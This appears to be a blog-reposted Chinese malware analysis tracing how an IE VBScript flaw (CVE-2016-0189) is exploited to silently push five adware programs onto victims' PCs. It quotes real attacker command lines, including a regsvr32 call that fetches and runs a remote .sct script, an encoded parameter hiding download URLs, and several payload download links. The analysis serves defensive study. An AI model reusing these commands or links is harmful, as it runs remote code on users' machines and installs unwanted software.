利用CVE-2016-0189漏洞进行流氓软件推广

1.       CVE-2016-0189漏洞简介

0189漏洞是一个关于VBScript的漏洞,在VBScript脚本引擎的代码vbscript.dll中存在数组访问越界的问题,从而导致IE在打开某些精心设计的网站的时候,就会自动执行一些黑客的恶意脚本代码。由于该漏洞利用起来简便,稳定,且成功率很高,所以被黑客们广泛利用。最近发现的0189漏洞数据中,就发现有些黑客利用0189漏洞来进行流氓软件推广,如下是整个过程的详细分析。

 

2.       该漏洞被利用的完整流程图:

利用CVE-2016-0189漏洞进行流氓软件推广_第1张图片

3.       CVE-2016-0189漏洞利用过程的详细分析:

3.1 在没打CVE-2016-0189补丁的用户机器上,如果用户用IE浏览器打开该网址:http://www.sosobtabc.com/s/IENE-578,就会触发0189漏洞。

 

3.2 该漏洞触发后,便会执行黑客嵌套在网页里面的恶意脚本,当该脚本被指执行后,就会启动regsvr32.exe程序,来注册执行scrobj.dll,其中的参数如       下:"C:\Windows\System32\regsvr32.exe" /s/i:"http://103.63.237.18/servlet/afb6f1b41122fa62f83122e52389ca03.sct"scrobj.dll,命令行中regsvr32.exescrobj.dll都是微软文件,该命令的作用就是利用regsvr32.exe程序,采用静默的方式注册运行scrobj.dll,系统会自动执行scrobj.dllDllInstall()函数,且给DllInstal()函数传递了参数http://103.63.237.18/servlet/afb6f1b41122fa62f83122e52389ca03.sct其实远程服务器afb6f1b41122fa62f83122e52389ca03.sct一段shellcode的脚本

 

3.3 当该afb6f1b41122fa62f83122e52389ca03.sct脚本被执行后,会下载一个nsu59972E08.tmp.dll到临时目录下,黑客会继续利用regsvr32.exe来注册该dll,从而开始干活,具体的命令行如下:

"C:\Windows\System32\regsvr32.exe"/s /n/i:"QgBodHRwOi8vMTAzLjYzLjIzNy4xOC93aWtpcC5waHA/aWQ9ZDU4Njc1NDlhYWI1OTQyNTM0ZDEwZWZkM2ViOTZlNTQyAGh0dHA6Ly83eHJhbWUuY29tMS56MC5nbGIuY2xvdWRkbi5jb20vVm9kU2V0dXAuZXhfPABodHRwOi8vMTAzLjYzLjIzNy4xOC9ydC80NzVmZmEyMzljZWNjMzM5MTM3ZWY0MWIyODMzZTU0Ny5qcGc=""C:\Users\ADMINI~1\AppData\Local\Temp\nsu59972E08.tmp.dll",该命令行同样采用静默的方式,指定调用nsu59972E08.tmp.dll的DllInstall函数,且传递了参数”QgBodHRwOi8vMTAzLjYzLjIzNy4xOC93aWtpcC5waHA/aWQ9ZDU4Njc1NDlhYWI1OTQyNTM0ZDEwZWZkM2ViOTZlNTQyAGh0dHA6Ly83eHJhbWUuY29tMS56MC5nbGIuY2xvdWRkbi5jb20vVm9kU2V0dXAuZXhfPABodHRwOi8vMTAzLjYzLjIzNy4xOC9ydC80NzVmZmEyMzljZWNjMzM5MTM3ZWY0MWIyODMzZTU0Ny5qcGc=”, nsu59972E08.tmp.dll的导出表截图如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第2张图片

3.4 我们通过用OD对该nsu59972E08.tmp.dll进行调试,发现传进来的参数实际上是一个加密了的命令参数,为调用该nsu59972E08.tmp.dll的另外一个导出函数CPAILoad()(见上图)做准备的, 解密后发现其用rundll32.exe来直接运行nsu59972E08.tmp.dll的CPAILoad()导出函数,且传给该函数传递了参数” HWZORMTSLW”,具体的命令行如下OD调试截图:

利用CVE-2016-0189漏洞进行流氓软件推广_第3张图片

3.5 nsu59972E08.tmp.dll的CPAILoad()函数会再在内存里面动态解密一段shellcode,然后对shellcode代码进行重定位,并将其运行起来,该shellcode会去网上下载一个干活的木马exe,然后开始做流氓推广,其静态代码如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第4张图片

3.6 通过用OD调试nsu59972E08.tmp.dll的CPAILoad()函数,发现该Shellcode的起始地址是0x00990000,大小为0x1FF0,如下图:

利用CVE-2016-0189漏洞进行流氓软件推广_第5张图片

3.7 解密内存Shellcode代码,如下图:

利用CVE-2016-0189漏洞进行流氓软件推广_第6张图片

3.8解密完成后的shellcode代码,并从网址:https://oatdbtwdu.qnssl.com/Fuliplayer.exe下载的推广木马直接运行起来,如下

利用CVE-2016-0189漏洞进行流氓软件推广_第7张图片

遍历wininet.dll,获取该dll的导出函数InternetOpenUrlW(),为下载文件做准备,代码如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第8张图片

3.9 该Fuliplayer.exe福利播放器的MD5:b74e5bbe260aa040988f0933d8e9f041。Fuliplayer.exe其实是一个NSIS的安装包,我们利用NSIS的解包工具,将其反编译出来,得到其打包.nsi脚本,该脚本主要是负责释放文件,和运行释放出来的SoftMgr.dll的Install()函数,以及清理现场,其主要函数截图如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第9张图片

3.10 在SoftMgr.dll的Install()函数中,我们通过分析发现该函数主要负责两个功能:

a.初始化lua环境,为下面运行.lua的脚本做准备;

b.继续通过regsvr32.exe程序加参数/s和/i”G7KZONYDV1NFZVZH”来运行SoftMgr.dll的DllInstall()函数。

其中SoftMgr.dll的Install()函数中调用sub_100067C1子函数来完成了lua引擎的初始化工作,代码截图如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第10张图片

SoftMgr.dll的Install()函数中继续调用Softmgr.dll的DllInstall()函数的代码如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第11张图片

运行过程的监控截图如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第12张图片

3.11在SoftMgr.dll的DllInstall()函数中,我们发现它会去读取临时目录nsq162.tmp下的setup.lua脚本,该脚本主要是作为流氓推广的控制脚本,它会再去http://software.statistic-alanalysis.com/setup.zip网址下载一个setup.zip的压缩包,其下载地址还支持http和https两种方式,其全部内容如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第13张图片

在SoftMgr.dll的DllInstall()函数中的下载功能的代码在其sub_10004E25(v3,v8, v7)子函数中,具体的静态代码如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第14张图片

3.12 当setup.zip压缩包下载到本地后解压,我们可以看到也是lua脚本,且有一个config.lua的配置脚本,其目录结构如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第15张图片

其中script目录下的包含文件如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第16张图片

3.13 分析了config.lua脚本后,我们发现该木马作者还会检测用户电脑环境,如果是网吧电脑,就只会推广”小黑记事本”软件,如果不是网吧电脑,则会静默流氓推广5款软件到用户电脑上,其脚本的全部内容如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第17张图片

其中SoftMgr.dll中加载config.lua的代码在sub_100051B0函数中,静态代码如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第18张图片

3.14 由于script中有5个lua脚本,我们以xiaohei.lua脚本为例,来分析下lua脚本,我们可以看到该xiaohei.lua脚本是直接下载小黑记事本的安装包,然后静默的在后台运行起来,其脚本全部内容如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第19张图片

下载链接如下:http://7xrame.com1.z0.glb.clouddn.com/HNInstall_Setup_2834798304_7654_101708.exe下载下来的小黑记事本程序以及其他几个推广程序截图如下:

利用CVE-2016-0189漏洞进行流氓软件推广_第20张图片

用进程查看工具观察到的进程链截图:

4.       分析总结:

该木马作者通过精心构造能触发漏洞的网页,当时用户浏览该网页时,就会触发CVE-2016-0189漏洞,导致浏览器自动执行了黑客的恶意脚本,从而会下载到木马dll在用户电脑上,且将相应的dll注册运行,最后下载流氓推广的木马exe,最后导致用户在毫不知情的情况下,被装上了5款软件。


你可能感兴趣的:(病毒木马分析)